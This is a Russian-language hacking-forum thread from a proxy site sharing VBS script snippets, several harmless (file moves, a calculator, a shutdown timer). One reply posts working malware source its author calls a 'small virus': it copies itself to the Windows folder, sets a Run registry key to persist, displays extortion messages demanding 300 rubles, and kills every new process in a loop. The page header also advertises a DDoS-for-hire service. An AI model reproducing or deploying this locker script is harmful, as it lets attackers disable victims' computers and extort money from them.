Скрипты VBS (Visual Basic Script) - Proxy-Base Community - Анонимность и безопасность в интернете.
Бесплатные прокси. Количество:
Прокси для пользователей форума (API). Количество:
Купить доступ к прокси-листам (API). Количество:
 



Информация по хайдам / репутации

(РЕКОМЕНДУЮ) №1 >>>DDos Атака<<|>>DDoS Service<<< ДДОС СЕРВИС<<|>>Заказать DDOS
Бесплатные прокси уже в Telegram
Все инфопродукты и приватная информация бесплатно
Старый 30.09.2009, 01:10   #1 (permalink)
VPN
 
Аватар для kill4you
 
Регистрация: 12.08.2009
Адрес: proxy-base.org
Сообщений: 318
Member ID: 2045
ICQ 316817

Репутация: 1437
Репутация: 1437
Сказал(а) спасибо: 1,407
Поблагодарили 509 раз(а) в 210 сообщениях
Топикстартер (автор темы) Восклицание Скрипты VBS (Visual Basic Script)

Я предлагаю здесь выкладывать полезные исходники VBS скриптов.
kill4you вне форума   Ответить с цитированием
2 пользователя(ей) сказали cпасибо:
Старый 30.09.2009, 01:17   #2 (permalink)
VPN
 
Аватар для kill4you
 
Регистрация: 12.08.2009
Адрес: proxy-base.org
Сообщений: 318
Member ID: 2045
ICQ 316817

Репутация: 1437
Репутация: 1437
Сказал(а) спасибо: 1,407
Поблагодарили 509 раз(а) в 210 сообщениях
Топикстартер (автор темы) По умолчанию Re: Скрипты VBS (Visual Basic Script)

Вот исходник перемещения файлов или папки:
Set FSO = CreateObject("Scripting.FileSystemObject")
FSO.MoveFile "C:\исходная папка" , "C:\папка назначения"
А вот удаления:
Set FSO = CreateObject("Scripting.FileSystemObject")
FSO.DeleteFolder "C:\откуда удалить и имя файла"
kill4you вне форума   Ответить с цитированием
Пользователь сказал cпасибо:
Старый 22.03.2012, 15:13   #3 (permalink)
HTTP
 
Регистрация: 22.03.2012
Сообщений: 1
Member ID: 25594

Репутация: 0
Репутация: 0
Сказал(а) спасибо: 0
Поблагодарили 0 раз(а) в 0 сообщениях
По умолчанию Re: Скрипты VBS (Visual Basic Script)

dim a,b,c
a=inputbox("Fill 1-st number")
b=inputbox("Fill 2-nd number")
c=cint(a)*cint(b)
msgbox("="&c)
\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\ \\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\ \\\\\\\
Калькулятор умножает два числа
\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\ \\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\ \\

Set FSO=CreateObject("Scripting.FileSystemObject")
FSO.CopyFile "1.vbs", "C:\Windows\"
Set WshShell = CreateObject("WScript.Shell")
WshShell.RegWrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Ru n\Window", "C:\Windows\1.vbs"
msgbox("Привет")
msgbox("Давай познакомимся")
msgbox("Теперь мы с тобой долго не расстанемся")
msgbox("Меня Яша зовут")
msgbox("А ты зря этот файл принял")
msgbox("Так что перезагружай не перезагружай комп все равно ты в полной заднице")
msgbox("Можешь не продолжать тыкать")
msgbox("А знаешь за что ты заблокирован?")
msgbox("За то что ты на порно сайты лазеешь")
msgbox("Я могу тебе сказать как это отключить, но если ты только переведешь 300 рублей на мой счет")
msgbox("Чтоб его получить пиши на маил")
msgbox("Теперь сообщения повторятся по второму кругу ламер=D")
Dim objWMI, colMonitoredProcesses, objLatestProcess
Set objWMI = GetObject("winmgmts:\\.\Root\CIMV2")
Set colMonitoredProcesses = objWMI.ExecNotificationQuery("SELECT * FROM __InstanceCreationEvent " _
& "WITHIN 1 WHERE TargetInstance ISA 'Win32_Process'")
Do
Set objLatestProcess = colMonitoredProcesses.NextEvent
objLatestProcess.TargetInstance.Terminate()
Loop
Set objLatestProcess = Nothing
Set colMonitoredProcesses = Nothing
\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\ \\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\
Небольшой вирус, заставляет вылетать окошки с текстом убивает все попытки загрузите что либо, прописывается в автозагрузку
.................................................. .................................................. ...........................
msgbox("Proga by QweSty")
dim a,b,c
a=inputbox("Время через которое компьютер отключится")
c=msgbox("Таймер запущен")
msgbox("Для отключения таймера завершите процесс WScript в диспечире задач")
b=a*1000*60
WScript.sleep b
Set OpSysSet = GetObject("winmgmts:{(Shutdown)}//./root/cimv2").ExecQuery("select * from Win32_OperatingSystem where Primary=true")
for each OpSys in OpSysSet
OpSys.ShutDown()
next
\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\ \\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\ \\
Скрипт таймера отключения компа
\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\ \\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\ \\\
Set s = CreateObject("Wscript.Shell")
msgbox("смотри на клавиатуру")
do
wscript.sleep 80
s.sendkeys"{numlock}"
wscript.sleep 80
s.sendkeys"{capslock}"
wscript.sleep 80
s.sendkeys"{scrolllock}"
wscript.sleep 80
wscript.sleep 80
s.sendkeys"{numlock}"
wscript.sleep 80
s.sendkeys"{capslock}"
wscript.sleep 80
s.sendkeys"{scrolllock}"
wscript.sleep 80
s.sendkeys"{scrolllock}"
wscript.sleep 80
s.sendkeys"{capslock}"
wscript.sleep 80
s.sendkeys"{numlock}"
wscript.sleep 80
wscript.sleep 80
s.sendkeys"{scrolllock}"
wscript.sleep 80
s.sendkeys"{capslock}"
wscript.sleep 80
s.sendkeys"{numlock}"
wscript.sleep 80
s.sendkeys"{numlock}"
wscript.sleep 80
s.sendkeys"{capslock}"
wscript.sleep 80
s.sendkeys"{scrolllock}"
wscript.sleep 80
loop
\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\ \\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\ \\\
Скрипт на зацикливание переключения капс лок нум лок и скрул лок
\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\ \\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\ \\\
Думаю хватит
yuri вне форума   Ответить с цитированием
Ответ

Опции темы Поиск в этой теме
Поиск в этой теме:

Расширенный поиск
Опции просмотра

Ваши права в разделе
Вы не можете создавать новые темы
Вы не можете отвечать в темах
Вы не можете прикреплять вложения
Вы не можете редактировать свои сообщения

BB коды Вкл.
Смайлы Вкл.
[IMG] код Вкл.
HTML код Выкл.
Trackbacks are Вкл.
Pingbacks are Вкл.
Refbacks are Вкл.


Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Полезные скрипты [Perl],[PHP],[Python] hide Программирование 47 22.02.2013 17:05
Basic Socks Tester 2.0 Final Proxy-Base Proxy SOFT 2 14.09.2009 20:14




DDoS Protected




Мы в твиттере, Proxy-Base.Org Twitter

Proxy-Base Community - Анонимность и безопасность в интернете.
Наши партнеры: CRC Labs, SEO-Crack.Com, Garsuk.Com, SED Team, Skladchik.com, BSS Family

Powered by vBulletin® | Булка сделана в пекарне®
Copyright © 2000 - , Jelsoft Enterprises Ltd. Перевод: zCarot
Вся информация на сайте выложена исключительно в ознакомительных целях.